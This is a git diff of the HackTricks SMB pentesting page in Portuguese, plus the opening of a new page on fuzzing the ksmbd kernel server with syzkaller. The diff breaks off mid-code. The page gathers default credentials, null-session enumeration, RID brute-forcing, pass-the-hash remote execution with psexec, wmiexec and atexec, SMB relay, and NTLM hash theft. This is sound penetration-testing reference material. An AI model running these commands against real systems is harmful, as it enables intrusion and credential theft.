diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 793c88a81..b18b11ccd 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -494,6 +494,7 @@ - [135, 593 - Pentesting MSRPC](network-services-pentesting/135-pentesting-msrpc.md) - [137,138,139 - Pentesting NetBios](network-services-pentesting/137-138-139-pentesting-netbios.md) - [139,445 - Pentesting SMB](network-services-pentesting/pentesting-smb/README.md) + - [Ksmbd Attack Surface And Fuzzing Syzkaller](network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md) - [rpcclient enumeration](network-services-pentesting/pentesting-smb/rpcclient-enumeration.md) - [143,993 - Pentesting IMAP](network-services-pentesting/pentesting-imap.md) - [161,162,10161,10162/udp - Pentesting SNMP](network-services-pentesting/pentesting-snmp/README.md) diff --git a/src/network-services-pentesting/pentesting-smb/README.md b/src/network-services-pentesting/pentesting-smb/README.md index 815e93ca7..5cbd34306 100644 --- a/src/network-services-pentesting/pentesting-smb/README.md +++ b/src/network-services-pentesting/pentesting-smb/README.md @@ -2,37 +2,37 @@ {{#include ../../banners/hacktricks-training.md}} -## **Port 139** +## **Porta 139** -O _**Network Basic Input Output System**_** (NetBIOS)** é um protocolo de software projetado para permitir que aplicativos, PCs e Desktops dentro de uma rede local (LAN) interajam com hardware de rede e **facilitem a transmissão de dados pela rede**. A identificação e localização de aplicativos de software que operam em uma rede NetBIOS são realizadas por meio de seus nomes NetBIOS, que podem ter até 16 caracteres de comprimento e muitas vezes são distintos do nome do computador. Uma sessão NetBIOS entre dois aplicativos é iniciada quando um aplicativo (atuando como cliente) emite um comando para "chamar" outro aplicativo (atuando como servidor) utilizando **TCP Port 139**. +O _**Network Basic Input Output System**_** (NetBIOS)** é um protocolo de software projetado para permitir que aplicações, PCs e estações de trabalho dentro de uma rede local (LAN) interajam com o hardware de rede e **facilitem a transmissão de dados pela rede**. A identificação e a localização de aplicações de software operando em uma rede NetBIOS são obtidas através de seus nomes NetBIOS, que podem ter até 16 caracteres e frequentemente são diferentes do nome do computador. Uma sessão NetBIOS entre duas aplicações é iniciada quando uma aplicação (atuando como cliente) emite um comando para "chamar" outra aplicação (atuando como servidor) utilizando **TCP Port 139**. ``` 139/tcp open netbios-ssn Microsoft Windows netbios-ssn ``` ## Porta 445 -Tecnicamente, a Porta 139 é referida como ‘NBT over IP’, enquanto a Porta 445 é identificada como ‘SMB over IP’. O acrônimo **SMB** significa ‘**Server Message Blocks**’, que também é modernamente conhecido como **Common Internet File System (CIFS)**. Como um protocolo de rede da camada de aplicação, SMB/CIFS é utilizado principalmente para permitir o acesso compartilhado a arquivos, impressoras, portas seriais e facilitar várias formas de comunicação entre nós em uma rede. +Tecnicamente, a Porta 139 é referida como ‘NBT over IP’, enquanto a Porta 445 é identificada como ‘SMB over IP’. A sigla **SMB** significa ‘**Server Message Blocks**’, que também é modernamente conhecida como **Common Internet File System (CIFS)**. Como um protocolo de rede de camada de aplicação, SMB/CIFS é utilizado principalmente para permitir acesso compartilhado a arquivos, impressoras, portas seriais e para facilitar várias formas de comunicação entre nós em uma rede. -Por exemplo, no contexto do Windows, é destacado que o SMB pode operar diretamente sobre TCP/IP, eliminando a necessidade de NetBIOS sobre TCP/IP, através da utilização da porta 445. Por outro lado, em sistemas diferentes, a utilização da porta 139 é observada, indicando que o SMB está sendo executado em conjunto com NetBIOS sobre TCP/IP. +Por exemplo, no contexto do Windows, destaca-se que o SMB pode operar diretamente sobre TCP/IP, eliminando a necessidade de NetBIOS sobre TCP/IP, através da utilização da porta 445. Por outro lado, em outros sistemas, observa-se o uso da porta 139, indicando que o SMB está sendo executado em conjunto com o NetBIOS sobre TCP/IP. ``` 445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP) ``` ### SMB -O **Server Message Block (SMB)** protocolo, operando em um modelo **cliente-servidor**, é projetado para regular o **acesso a arquivos**, diretórios e outros recursos de rede, como impressoras e roteadores. Utilizado principalmente dentro da série de sistemas operacionais **Windows**, o SMB garante compatibilidade retroativa, permitindo que dispositivos com versões mais novas do sistema operacional da Microsoft interajam perfeitamente com aqueles que executam versões mais antigas. Além disso, o projeto **Samba** oferece uma solução de software livre, permitindo a implementação do SMB em sistemas **Linux** e Unix, facilitando assim a comunicação entre plataformas através do SMB. +O protocolo **Server Message Block (SMB)**, operando num modelo **cliente-servidor**, é projetado para regular o **acesso a arquivos**, diretórios e outros recursos de rede como impressoras e roteadores. Utilizado principalmente na série de sistemas operacionais **Windows**, o SMB garante compatibilidade retroativa, permitindo que dispositivos com versões mais recentes do sistema operacional da Microsoft interajam sem problemas com aqueles que executam versões mais antigas. Além disso, o projeto **Samba** oferece uma solução de software livre, permitindo a implementação do SMB em sistemas **Linux** e Unix, facilitando assim a comunicação multiplataforma via SMB. -Compartilhamentos, representando **partes arbitrárias do sistema de arquivos local**, podem ser fornecidos por um servidor SMB, tornando a hierarquia visível para um cliente parcialmente **independente** da estrutura real do servidor. As **Access Control Lists (ACLs)**, que definem **direitos de acesso**, permitem um **controle detalhado** sobre as permissões dos usuários, incluindo atributos como **`execute`**, **`read`** e **`full access`**. Essas permissões podem ser atribuídas a usuários individuais ou grupos, com base nos compartilhamentos, e são distintas das permissões locais definidas no servidor. +Shares, representando **partes arbitrárias do sistema de arquivos local**, podem ser fornecidos por um servidor SMB, tornando a hierarquia visível a um cliente em parte **independente** da estrutura real do servidor. As **Access Control Lists (ACLs)**, que definem **direitos de acesso**, permitem um **controle granular** sobre as permissões de usuários, incluindo atributos como **`execute`**, **`read`**, e **`full access`**. Essas permissões podem ser atribuídas a usuários individuais ou grupos, com base nos shares, e são distintas das permissões locais definidas no servidor. ### IPC$ Share -O acesso ao compartilhamento IPC$ pode ser obtido através de uma sessão nula anônima, permitindo a interação com serviços expostos via pipes nomeados. A utilidade `enum4linux` é útil para esse propósito. Utilizada corretamente, ela permite a aquisição de: +O acesso ao IPC$ share pode ser obtido através de uma sessão nula anônima, permitindo a interação com serviços expostos via named pipes. A ferramenta `enum4linux` é útil para esse propósito. Quando utilizada corretamente, ela possibilita a obtenção de: - Informações sobre o sistema operacional - Detalhes sobre o domínio pai - Uma compilação de usuários e grupos locais -- Informações sobre os compartilhamentos SMB disponíveis -- A política de segurança do sistema efetiva +- Informações sobre SMB shares disponíveis +- A política de segurança efetiva do sistema -Essa funcionalidade é crítica para administradores de rede e profissionais de segurança avaliarem a postura de segurança dos serviços SMB (Server Message Block) em uma rede. O `enum4linux` fornece uma visão abrangente do ambiente SMB do sistema alvo, que é essencial para identificar vulnerabilidades potenciais e garantir que os serviços SMB estejam devidamente seguros. +Essa funcionalidade é crítica para administradores de rede e profissionais de segurança avaliarem a postura de segurança dos serviços SMB (Server Message Block) em uma rede. `enum4linux` fornece uma visão abrangente do ambiente SMB do sistema alvo, o que é essencial para identificar potenciais vulnerabilidades e garantir que os serviços SMB estejam corretamente protegidos. ```bash enum4linux -a target_ip ``` @@ -40,7 +40,7 @@ O comando acima é um exemplo de como `enum4linux` pode ser usado para realizar ## O que é NTLM -Se você não sabe o que é NTLM ou se deseja saber como funciona e como abusar dele, você achará muito interessante esta página sobre **NTLM** onde é explicado **como este protocolo funciona e como você pode tirar proveito dele:** +Se você não sabe o que é NTLM ou quer entender como ele funciona e como explorá-lo, achará muito interessante esta página sobre **NTLM**, onde é explicado **como este protocolo funciona e como você pode tirar proveito dele:** {{#ref}} ../../windows-hardening/ntlm/ @@ -48,15 +48,15 @@ Se você não sabe o que é NTLM ou se deseja saber como funciona e como abusar ## **Enumeração de Servidores** -### **Escanear** uma rede em busca de hosts: +### **Scan** uma rede procurando por hosts: ```bash nbtscan -r 192.168.0.1/24 ``` ### Versão do servidor SMB -Para procurar possíveis exploits para a versão do SMB, é importante saber qual versão está sendo usada. Se essa informação não aparecer em outras ferramentas utilizadas, você pode: +Para procurar possíveis exploits na versão do SMB, é importante saber qual versão está sendo usada. Se essa informação não aparecer em outras ferramentas usadas, você pode: -- Usar o módulo auxiliar **MSF** `**auxiliary/scanner/smb/smb_version**` +- Use o módulo auxiliar **MSF** `**auxiliary/scanner/smb/smb_version**` - Ou este script: ```bash #!/bin/sh @@ -74,28 +74,28 @@ tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null echo "" && sleep .1 ``` -### **Buscar exploit** +### **Pesquisar exploit** ```bash msf> search type:exploit platform:windows target:2008 smb searchsploit microsoft smb ``` -### **Credenciais** Possíveis +### **Possíveis** Credenciais -| **Nome(s) de usuário** | **Senhas comuns** | -| ----------------------- | ---------------------------------------- | -| _(em branco)_ | _(em branco)_ | -| convidado | _(em branco)_ | -| Administrador, admin | _(em branco)_, senha, administrador, admin | -| arcserve | arcserve, backup | -| tivoli, tmersrvd | tivoli, tmersrvd, admin | -| backupexec, backup | backupexec, backup, arcada | -| teste, lab, demo | senha, teste, lab, demo | +| **Nome(s) de usuário** | **Senhas comuns** | +| -------------------- | ----------------------------------------- | +| _(blank)_ | _(blank)_ | +| guest | _(blank)_ | +| Administrator, admin | _(blank)_, password, administrator, admin | +| arcserve | arcserve, backup | +| tivoli, tmersrvd | tivoli, tmersrvd, admin | +| backupexec, backup | backupexec, backup, arcada | +| test, lab, demo | password, test, lab, demo | -### Força Bruta +### Brute Force -- [**Força Bruta SMB**](../../generic-hacking/brute-force.md#smb) +- [**SMB Brute Force**](../../generic-hacking/brute-force.md#smb) -### Informações do Ambiente SMB +### Informações do ambiente SMB ### Obter Informações ```bash @@ -119,9 +119,9 @@ rpcclient -U "username%passwd" #With creds /usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@] /usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@] ``` -### Enumerar Usuários, Grupos e Usuários Conectados +### Enumerar Usuários, Grupos e Usuários Logados -Essas informações já devem estar sendo coletadas a partir do enum4linux e enum4linux-ng. +Essas informações já devem ter sido coletadas pelo enum4linux e pelo enum4linux-ng ```bash crackmapexec smb 10.10.10.10 --users [-u -p ] crackmapexec smb 10.10.10.10 --groups [-u -p ] @@ -139,7 +139,7 @@ enumdomgroups ```bash lookupsid.py -no-pass hostname.local ``` -Oneliner +Comando de uma linha ```bash for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done ``` @@ -156,13 +156,13 @@ run rpcclient-enumeration.md {{#endref}} -### Conexão GUI do linux +### Conexão GUI no Linux #### No terminal: `xdg-open smb://cascade.htb/` -#### Na janela do navegador de arquivos (nautilus, thunar, etc) +#### Na janela do gerenciador de arquivos (nautilus, thunar, etc) `smb://friendzone.htb/general/` @@ -170,7 +170,7 @@ rpcclient-enumeration.md ### Listar pastas compartilhadas -É sempre recomendado verificar se você pode acessar algo; se você não tiver credenciais, tente usar **null** **credentials/guest user**. +Sempre é recomendado verificar se você consegue acessar algo. Se você não tiver credenciais, tente usar **null** **credentials/guest user**. ```bash smbclient --no-pass -L // # Null user smbclient -U 'username[%passwd]' -L [--pw-nt-hash] // #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash @@ -196,11 +196,11 @@ smbmap [-u "username" -p "password"] -R [Folder] -H [-P ] # Recursive smbmap [-u "username" -p "password"] -r [Folder] -H [-P ] # Non-Recursive list smbmap -u "username" -p ":" [-r/-R] [Folder] -H [-P ] #Pass-the-Hash ``` -### **Enumerar manualmente compartilhamentos do Windows e conectar-se a eles** +### **Enumere manualmente shares do Windows e conecte-se a elas** -Pode ser possível que você esteja restrito a exibir quaisquer compartilhamentos da máquina host e, quando tenta listá-los, parece que não há compartilhamentos para se conectar. Assim, pode valer a pena tentar se conectar manualmente a um compartilhamento. Para enumerar os compartilhamentos manualmente, você pode querer procurar respostas como NT_STATUS_ACCESS_DENIED e NT_STATUS_BAD_NETWORK_NAME, ao usar uma sessão válida (por exemplo, sessão nula ou credenciais válidas). Isso pode indicar se o compartilhamento existe e você não tem acesso a ele ou se o compartilhamento não existe. +Pode acontecer que você esteja impedido de exibir quaisquer shares da máquina host e, quando tenta listá-las, pareça que não há shares para conectar. Portanto pode valer a pena tentar conectar manualmente a um share. Para enumerar os shares manualmente, procure por respostas como NT_STATUS_ACCESS_DENIED e NT_STATUS_BAD_NETWORK_NAME ao usar uma sessão válida (e.g. null session or valid credentials). Estas podem indicar se o share existe e você não tem acesso a ele ou se o share não existe. -Nomes comuns de compartilhamento para alvos Windows são +Nomes comuns de share para alvos Windows são - C$ - D$ @@ -211,14 +211,14 @@ Nomes comuns de compartilhamento para alvos Windows são - SYSVOL - NETLOGON -(Nomes comuns de compartilhamento da _**Network Security Assessment 3rd edition**_) +(Nomes comuns de share do _**Network Security Assessment 3rd edition**_) -Você pode tentar se conectar a eles usando o seguinte comando +Você pode tentar conectar-se a elas usando o seguinte comando ```bash smbclient -U '%' -N \\\\\\ # null session to connect to a windows share smbclient -U '' \\\\\\ # authenticated session to connect to a windows share (you will be prompted for a password) ``` -ou este script (usando uma sessão nula) +ou este script (usando uma null session) ```bash #/bin/bash @@ -240,7 +240,7 @@ exemplos smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session ``` -### **Enumerar compartilhamentos do Windows / sem ferramentas de terceiros** +### **Enumerar shares no Windows / sem ferramentas de terceiros** PowerShell ```bash @@ -252,7 +252,7 @@ get-smbshare -CimSession "" # Retrieves the connections established from the local SMB client to the SMB servers. Get-SmbConnection ``` -Console CMD +Console do CMD ```shell # List shares on the local computer net share @@ -266,7 +266,7 @@ fsmgmt.msc # Computer Management: Computer Management > System Tools > Shared Folders > Shares compmgmt.msc ``` -explorer.exe (gráfico), digite `\\\` para ver os compartilhamentos disponíveis não ocultos. +explorer.exe (gráfico), digite `\\\` para ver os compartilhamentos não ocultos disponíveis. ### Montar uma pasta compartilhada ```bash @@ -275,7 +275,7 @@ mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share ``` ### **Baixar arquivos** -Leia as seções anteriores para aprender como se conectar com credenciais/Pass-the-Hash. +Leia as seções anteriores para aprender como se conectar usando credentials/Pass-the-Hash. ```bash #Search a file and download sudo smbmap -R Folder -H -A -q # Search the file in recursive mode and download it inside /usr/share/smbmap @@ -292,14 +292,14 @@ smbclient /// ``` Comandos: -- mask: especifica a máscara que é usada para filtrar os arquivos dentro do diretório (por exemplo, "" para todos os arquivos) -- recurse: ativa a recursão (padrão: desligado) +- mask: especifica a máscara que é usada para filtrar os arquivos dentro do diretório (por exemplo "" para todos os arquivos) +- recurse: alterna a recursão (padrão: desligado) - prompt: desativa a solicitação de nomes de arquivos (padrão: ligado) - mget: copia todos os arquivos que correspondem à máscara do host para a máquina cliente -(_Informação da página de manual do smbclient_) +(_Informações do manpage do smbclient_) -### Pesquisa de Pastas Compartilhadas do Domínio +### Busca por Pastas Compartilhadas do Domínio - [**Snaffler**](https://github.com/SnaffCon/Snaffler) ```bash @@ -311,42 +311,42 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data ```bash sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares' ``` -Especialmente interessantes nos compartilhamentos são os arquivos chamados **`Registry.xml`** pois **podem conter senhas** para usuários configurados com **autologon** via Política de Grupo. Ou arquivos **`web.config`** pois contêm credenciais. +Especialmente interessantes nos shares são os arquivos chamados **`Registry.xml`** pois eles **podem conter senhas** de usuários configurados com **autologon** via Group Policy. Ou arquivos **`web.config`**, já que contêm credenciais. > [!TIP] -> O **compartilhamento SYSVOL** é **legível** por todos os usuários autenticados no domínio. Nele você pode **encontrar** muitos scripts diferentes em batch, VBScript e PowerShell.\ -> Você deve **verificar** os **scripts** dentro dele, pois pode **encontrar** informações sensíveis, como **senhas**. +> A **SYSVOL share** é **legível** por todos os usuários autenticados no domínio. Lá você pode **encontrar** muitos scripts diferentes em batch, VBScript e PowerShell **scripts**.\ +> Você deve **verificar** os **scripts** dentro dela, pois pode **encontrar** informações sensíveis como **senhas**. -## Ler Registro +## Ler Registry -Você pode ser capaz de **ler o registro** usando algumas credenciais descobertas. Impacket **`reg.py`** permite que você tente: +Você pode conseguir **ler o Registry** usando credenciais descobertas. Impacket **`reg.py`** permite que você tente: ```bash sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s ``` -## Pós Exploração +## Post Exploitation -A **configuração padrão de** um **servidor Samba** geralmente está localizada em `/etc/samba/smb.conf` e pode ter algumas **configurações perigosas**: +A **configuração padrão de** um servidor **Samba** geralmente está localizada em `/etc/samba/smb.conf` e pode ter algumas **configurações perigosas**: -| **Configuração** | **Descrição** | -| --------------------------- | ------------------------------------------------------------------ | -| `browseable = yes` | Permitir listar compartilhamentos disponíveis no compartilhamento atual? | -| `read only = no` | Proibir a criação e modificação de arquivos? | -| `writable = yes` | Permitir que os usuários criem e modifiquem arquivos? | -| `guest ok = yes` | Permitir conectar-se ao serviço sem usar uma senha? | -| `enable privileges = yes` | Honrar privilégios atribuídos a SID específicos? | -| `create mask = 0777` | Quais permissões devem ser atribuídas aos arquivos recém-criados? | +| **Setting** | **Description** | +| --------------------------- | ------------------------------------------------------------------- | +| `browseable = yes` | Permitir listar os compartilhamentos disponíveis? | +| `read only = no` | Proibir a criação e modificação de arquivos? | +| `writable = yes` | Permitir que usuários criem e modifiquem arquivos? | +| `guest ok = yes` | Permitir conectar-se ao serviço sem usar uma senha? | +| `enable privileges = yes` | Respeitar privilégios atribuídos a um SID específico? | +| `create mask = 0777` | Quais permissões devem ser atribuídas aos arquivos recém-criados? | | `directory mask = 0777` | Quais permissões devem ser atribuídas aos diretórios recém-criados? | -| `logon script = script.sh` | Qual script precisa ser executado no login do usuário? | -| `magic script = script.sh` | Qual script deve ser executado quando o script for fechado? | -| `magic output = script.out` | Onde a saída do script mágico deve ser armazenada? | +| `logon script = script.sh` | Qual script precisa ser executado no login do usuário? | +| `magic script = script.sh` | Qual script deve ser executado quando o script é encerrado? | +| `magic output = script.out` | Onde a saída do magic script precisa ser armazenada? | O comando `smbstatus` fornece informações sobre o **servidor** e sobre **quem está conectado**. -## Autenticar usando Kerberos +## Authenticate using Kerberos -Você pode **autenticar** no **kerberos** usando as ferramentas **smbclient** e **rpcclient**: +Você pode **autenticar-se** no **Kerberos** usando as ferramentas **smbclient** e **rpcclient**: ```bash smbclient --kerberos //ws01win10.domain.com/C$ rpcclient -k ws01win10.domain.com @@ -355,7 +355,7 @@ rpcclient -k ws01win10.domain.com ### **crackmapexec** -crackmapexec pode executar comandos **abusando** de qualquer um dos **mmcexec, smbexec, atexec, wmiexec**, sendo **wmiexec** o método **padrão**. Você pode indicar qual opção prefere usar com o parâmetro `--exec-method`: +crackmapexec pode executar comandos **abusando** de qualquer um dos **mmcexec, smbexec, atexec, wmiexec** sendo **wmiexec** o **método padrão**. Você pode indicar qual opção prefere usar com o parâmetro `--exec-method`: ```bash apt-get install crackmapexec @@ -379,9 +379,9 @@ crackmapexec smb -d -u Administrator -H #Pass-The-Hash ``` ### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md) -Ambas as opções **criarão um novo serviço** (usando _\pipe\svcctl_ via SMB) na máquina da vítima e o usarão para **executar algo** (**psexec** **fará o upload** de um arquivo executável para o compartilhamento ADMIN$ e **smbexec** apontará para **cmd.exe/powershell.exe** e colocará nos argumentos o payload --**técnica sem arquivo-**-).\ -**Mais informações** sobre [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)e [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\ -No **kali**, está localizado em /usr/share/doc/python3-impacket/examples/ +Ambas as opções irão **criar um novo serviço** (usando _\pipe\svcctl_ via SMB) na máquina da vítima e usá‑lo para **executar algo** (**psexec** irá **upload** um arquivo executável para a share ADMIN$ e **smbexec** irá apontar para **cmd.exe/powershell.exe** e colocar nos argumentos o payload --**file-less technique-**-).\ +**Mais info** sobre [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)and [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\ +No **kali** está localizado em /usr/share/doc/python3-impacket/examples/ ```bash #If no password is provided, it will be prompted ./psexec.py [[domain/]username[:password]@] @@ -389,19 +389,19 @@ No **kali**, está localizado em /usr/share/doc/python3-impacket/examples/ psexec \\192.168.122.66 -u Administrator -p 123456Ww psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash ``` -Usando **parameter**`-k` você pode autenticar contra **kerberos** em vez de **NTLM** +Usando o **parâmetro** `-k` você pode autenticar via **kerberos** em vez de **NTLM** ### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec -Execute stealthily um shell de comando sem tocar no disco ou executar um novo serviço usando DCOM via **port 135.**\ -No **kali** está localizado em /usr/share/doc/python3-impacket/examples/ +Execute furtivamente um shell de comandos sem tocar no disco ou iniciar um novo serviço usando DCOM via **porta 135.**\ +No **kali**, está localizado em /usr/share/doc/python3-impacket/examples/ ```bash #If no password is provided, it will be prompted ./wmiexec.py [[domain/]username[:password]@] #Prompt for password ./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash #You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted ``` -Usando **parameter**`-k` você pode autenticar contra **kerberos** em vez de **NTLM** +Usando o **parâmetro** `-k` você pode autenticar-se contra **kerberos** em vez de **NTLM** ```bash #If no password is provided, it will be prompted ./dcomexec.py [[domain/]username[:password]@] @@ -410,8 +410,8 @@ Usando **parameter**`-k` você pode autenticar contra **kerberos** em vez de **N ``` ### [AtExec](../../windows-hardening/lateral-movement/atexec.md) -Execute comandos via o Agendador de Tarefas (usando _\pipe\atsvc_ via SMB).\ -Em **kali** está localizado em /usr/share/doc/python3-impacket/examples/ +Executa comandos via o Agendador de Tarefas (usando _\pipe\atsvc_ via SMB).\ +No **kali** encontra-se em /usr/share/doc/python3-impacket/examples/ ```bash ./atexec.py [[domain/]username[:password]@] "command" ./atexec.py -hashes administrator@10.10.10.175 "whoami" @@ -420,21 +420,27 @@ Em **kali** está localizado em /usr/share/doc/python3-impacket/examples/ [https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/) -## **Forçar credenciais de usuários** +### ksmbd superfície de ataque e fuzzing do protocolo SMB2/SMB3 (syzkaller) + +{{#ref}} +ksmbd-attack-surface-and-fuzzing-syzkaller.md +{{#endref}} + +## **Bruteforce de credenciais de usuários** **Isso não é recomendado, você pode bloquear uma conta se exceder o número máximo de tentativas permitidas** ```bash nmap --script smb-brute -p 445 ridenum.py 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name ``` -## Ataque de retransmissão SMB +## SMB relay attack -Este ataque usa a ferramenta Responder para **capturar sessões de autenticação SMB** em uma rede interna e **retransmiti-las** para uma **máquina alvo**. Se a **sessão de autenticação for bem-sucedida**, você será automaticamente levado a um **shell** **do sistema**.\ -[**Mais informações sobre este ataque aqui.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) +Este ataque usa o toolkit Responder para **capturar sessões de autenticação SMB** em uma rede interna, e **retransmite** elas para uma **target machine**. Se a **sessão de autenticação** for bem-sucedida, isso automaticamente abrirá uma **system shell**.\ +[**More information about this attack here.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) ## SMB-Trap -A biblioteca do Windows URLMon.dll tenta automaticamente autenticar-se no host quando uma página tenta acessar algum conteúdo via SMB, por exemplo: `img src="\\10.10.10.10\path\image.jpg"` +A biblioteca do Windows URLMon.dll tenta automaticamente autenticar-se com o host quando uma página tenta acessar algum conteúdo via SMB, por exemplo: `img src="\\10.10.10.10\path\image.jpg"` Isso acontece com as funções: @@ -443,21 +449,21 @@ Isso acontece com as funções: - URLOpenStream - URLOpenBlockingStream -Que são usadas por alguns navegadores e ferramentas (como Skype) +Que são usadas por alguns navegadores e ferramentas (like Skype) ![De: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (358).png>) -### SMBTrap usando MitMf +### SMBTrap using MitMf ![De: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (892).png>) -## Roubo de NTLM +## NTLM Theft -Semelhante ao SMB Trapping, plantar arquivos maliciosos em um sistema alvo (via SMB, por exemplo) pode provocar uma tentativa de autenticação SMB, permitindo que o hash NetNTLMv2 seja interceptado com uma ferramenta como Responder. O hash pode então ser quebrado offline ou usado em um [ataque de retransmissão SMB](#smb-relay-attack). +Semelhante ao SMB Trapping, plantar arquivos maliciosos em um target system (via SMB, por exemplo) pode provocar uma tentativa de autenticação SMB, permitindo que o hash NetNTLMv2 seja interceptado com uma ferramenta como o Responder. O hash pode então ser crackeado offline ou usado em um [SMB relay attack](#smb-relay-attack). [Veja: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft) -## Comandos Automáticos HackTricks +## HackTricks Automatic Commands ``` Protocol_Name: SMB #Protocol Abbreviation if there is one. Port_Number: 137,138,139 #Comma separated if there is more than one. diff --git a/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md b/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md new file mode 100644 index 000000000..586ff9711 --- /dev/null +++ b/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md @@ -0,0 +1,219 @@ +# Superfície de Ataque do ksmbd & Fuzzing do Protocolo SMB2/SMB3 (syzkaller) + +{{#include ../../banners/hacktricks-training.md}} + +## Visão Geral +Esta página sintetiza técnicas práticas para exercitar e fazer fuzzing do servidor SMB in-kernel do Linux (ksmbd) usando syzkaller. O foco é expandir a superfície de ataque do protocolo via configuração, construir um stateful harness capaz de encadear operações SMB2, gerar PDUs gramaticamente válidos, direcionar mutações para caminhos de código pouco cobertos e aproveitar recursos do syzkaller como focus_areas e ANYBLOB. Enquanto a pesquisa original lista CVEs específicos, aqui enfatizamos a metodologia reutilizável e trechos concretos que você pode adaptar ao seu ambiente. + +Escopo alvo: SMB2/SMB3 sobre TCP. Kerberos e RDMA estão intencionalmente fora do escopo para manter o harness simples. + +--- + +## Expandir a Superfície de Ataque do ksmbd via Configuração +Por padrão, uma configuração mínima do ksmbd deixa grandes partes do servidor sem testar. Habilite as seguintes funcionalidades para forçar o servidor a percorrer parsers/handlers adicionais e alcançar caminhos de código mais profundos: + +- Global-level +- Durable handles +- Server multi-channel +- SMB2 leases +- Per-share-level +- Oplocks (ativado por padrão) +- VFS objects + +Habilitar isso aumenta a execução em módulos como: +- smb2pdu.c (parsing/dispatch de comandos) +- ndr.c (encode/decode NDR) +- oplock.c (requisição/break de oplock) +- smbacl.c (parsing/aplicação de ACL) +- vfs.c (ops do VFS) +- vfs_cache.c (lookup cache) + +Notas +- Opções exatas dependem do userspace ksmbd da sua distro (ksmbd-tools). Revise /etc/ksmbd/ksmbd.conf e as seções por-share para habilitar durable handles, leases, oplocks e VFS objects. +- Multi-channel e durable handles alteram máquinas de estado e tempos de vida, frequentemente expondo UAF/refcount/OOB sob concorrência. + +--- + +## Ajustes de Autenticação e Rate-Limiting para Fuzzing +SMB3 precisa de uma sessão válida. Implementar Kerberos em harnesses adiciona complexidade, então prefira NTLM/guest para fuzzing: + +- Permita acesso guest e configure map to guest = bad user para que usuários desconhecidos caiam em GUEST. +- Aceite NTLMv2 (patch na política se estiver desabilitado). Isso mantém o handshake simples enquanto percorre caminhos de código SMB3. +- Remova checagens estritas de credit quando estiver experimentando (o hardening pós-CVE-2024-50285 tornou o crediting de ops simultâneas mais rígido). Caso contrário, rate-limits podem rejeitar sequências fuzzed cedo demais. +- Aumente max connections (por exemplo, para 65536) para evitar rejeições prematuras durante fuzzing de alta vazão. + +Cuidado: Essas relaxações são apenas para facilitar o fuzzing. Não implante com essas configurações em produção. + +--- + +## Stateful Harness: Extrair Recursos e Encadear Requests +SMB é stateful: muitas requests dependem de identificadores retornados por respostas anteriores (SessionId, TreeID, pares FileID). Seu harness deve parsear respostas e reutilizar IDs dentro do mesmo programa para atingir handlers profundos (por exemplo, smb2_create → smb2_ioctl → smb2_close). + +Exemplo de snippet para processar um buffer de resposta (pulando os +4B do NetBIOS PDU length) e armazenar IDs: +```c +// process response. does not contain +4B PDU length +void process_buffer(int msg_no, const char *buffer, size_t received) { +uint16_t cmd_rsp = u16((const uint8_t *)(buffer + CMD_OFFSET)); +switch (cmd_rsp) { +case SMB2_TREE_CONNECT: +if (received >= TREE_ID_OFFSET + sizeof(uint32_t)) +tree_id = u32((const uint8_t *)(buffer + TREE_ID_OFFSET)); +break; +case 